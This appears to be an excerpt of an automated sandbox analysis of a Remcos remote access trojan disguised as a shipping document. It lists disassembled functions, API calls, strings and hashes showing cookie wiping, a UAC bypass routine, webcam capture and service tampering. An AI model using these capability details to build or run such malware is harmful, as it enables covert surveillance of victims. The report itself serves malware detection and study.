                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                                                                          • Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
                                                                                          • Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2
                                                                                        • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                                                                                        • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                        • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                        • API String ID: 1133728706-4073444585
                                                                                        • Opcode ID: 44b5265c6c0164f295b1527da2f4df424204d8919945bee9dcb633f0f8b76136
                                                                                        • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                                                                                        • Opcode Fuzzy Hash: 44b5265c6c0164f295b1527da2f4df424204d8919945bee9dcb633f0f8b76136
                                                                                        • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                                                                                        Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
                                                                                        • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                                                                                        • Opcode Fuzzy Hash: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
                                                                                        • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                                                                                        Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                                                                                        • _free.LIBCMT ref: 00450F48
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 00450F53
                                                                                        • _free.LIBCMT ref: 00450F5E
                                                                                        • _free.LIBCMT ref: 00450FB2
                                                                                        • _free.LIBCMT ref: 00450FBD
                                                                                        • _free.LIBCMT ref: 00450FC8
                                                                                        • _free.LIBCMT ref: 00450FD3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                                                        • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                                                                                        • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                                                        • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                                                                                        Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                                                                                        • int.LIBCPMT ref: 00411183
                                                                                          • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                                                                          • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                                                                        • std::_Facet_Register.LIBCPMT ref: 004111C3
                                                                                        • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                        • String ID: (mG
                                                                                        • API String ID: 2536120697-4059303827
                                                                                        • Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                                                                        • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                                                                                        • Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                                                                        • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                                                                                        Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                                                                                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                                                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                                                                                        • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLastValue___vcrt_
                                                                                        • String ID:
                                                                                        • API String ID: 3852720340-0
                                                                                        • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                                                                        • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                                                                                        • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                                                                        • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                                                                                        Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe), ref: 004075D0
                                                                                          • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                                                                          • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                                                                        • CoUninitialize.OLE32 ref: 00407629
                                                                                        Strings
                                                                                        • [+] before ShellExec, xrefs: 004075F1
                                                                                        • C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, xrefs: 004075B0, 004075B3, 00407605
                                                                                        • [+] ShellExec success, xrefs: 0040760E
                                                                                        • [+] ucmCMLuaUtilShellExecMethod, xrefs: 004075B5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: InitializeObjectUninitialize_wcslen
                                                                                        • String ID: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                        • API String ID: 3851391207-2373651692
                                                                                        • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                                                                        • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                                                                                        • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                                                                        • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                                                                                        Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                                                                                        • GetLastError.KERNEL32 ref: 0040BAE7
                                                                                        Strings
                                                                                        • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                                                                                        • UserProfile, xrefs: 0040BAAD
                                                                                        • [Chrome Cookies not found], xrefs: 0040BB01
                                                                                        • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DeleteErrorFileLast
                                                                                        • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                        • API String ID: 2018770650-304995407
                                                                                        • Opcode ID: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                                                                        • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                                                                                        • Opcode Fuzzy Hash: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                                                                        • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                                                                                        Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • AllocConsole.KERNEL32(00475338), ref: 0041CDA4
                                                                                        • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                                                                        • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Console$AllocOutputShowWindow
                                                                                        • String ID: Remcos v$5.1.0 Pro$CONOUT$
                                                                                        • API String ID: 2425139147-1043272453
                                                                                        • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                                                                        • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                                                                                        • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                                                                        • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                                                                                        Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044335A
                                                                                        • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044336D
                                                                                        • FreeLibrary.KERNEL32(00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG), ref: 00443390
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                                                        • String ID: CorExitProcess$PkGNG$mscoree.dll
                                                                                        • API String ID: 4061214504-213444651
                                                                                        • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                                                                        • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                                                                                        • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                                                                        • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                                                                                        Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __allrem.LIBCMT ref: 0043AC69
                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                                                                                        • __allrem.LIBCMT ref: 0043AC9C
                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                                                                                        • __allrem.LIBCMT ref: 0043ACD1
                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                        • String ID:
                                                                                        • API String ID: 1992179935-0
                                                                                        • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                                                                        • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                                                                                        • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                                                                        • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                                                                                        Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Sleep.KERNEL32(00000000,?), ref: 004044C4
                                                                                          • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: H_prologSleep
                                                                                        • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                                                                        • API String ID: 3469354165-3054508432
                                                                                        • Opcode ID: f7db187a1fe7af92a7c3ce0a79d7e7b6810ab1ab4c8a6d96157cd488684fa951
                                                                                        • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                                                                                        • Opcode Fuzzy Hash: f7db187a1fe7af92a7c3ce0a79d7e7b6810ab1ab4c8a6d96157cd488684fa951
                                                                                        • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                                                                                        Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: __cftoe
                                                                                        • String ID:
                                                                                        • API String ID: 4189289331-0
                                                                                        • Opcode ID: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                                                                        • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                                                                                        • Opcode Fuzzy Hash: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                                                                        • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                                                                                        Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                                                                                        • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                        • String ID:
                                                                                        • API String ID: 493672254-0
                                                                                        • Opcode ID: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                                                        • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                                                                                        • Opcode Fuzzy Hash: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                                                        • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                                                                                        Function 0044A004 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: __alldvrm$_strrchr
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 1036877536-263838557
                                                                                        • Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                                                                        • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                                                                                        • Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                                                                        • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                                                                                        Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                        • _free.LIBCMT ref: 0044824C
                                                                                        • _free.LIBCMT ref: 00448274
                                                                                        • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                        • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                        • _abort.LIBCMT ref: 00448293
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$_free$_abort
                                                                                        • String ID:
                                                                                        • API String ID: 3160817290-0
                                                                                        • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                                                                        • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                                                                                        • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                                                                        • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                                                                                        Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                                                                                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                                                        • String ID:
                                                                                        • API String ID: 221034970-0
                                                                                        • Opcode ID: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                                                        • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                                                                                        • Opcode Fuzzy Hash: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                                                        • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                                                                                        Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                                                                                        • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                                                        • String ID:
                                                                                        • API String ID: 221034970-0
                                                                                        • Opcode ID: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                                                        • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                                                                                        • Opcode Fuzzy Hash: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                                                        • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                                                                                        Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                                                                                        • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                                                        • String ID:
                                                                                        • API String ID: 221034970-0
                                                                                        • Opcode ID: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
                                                                                        • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                                                                                        • Opcode Fuzzy Hash: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
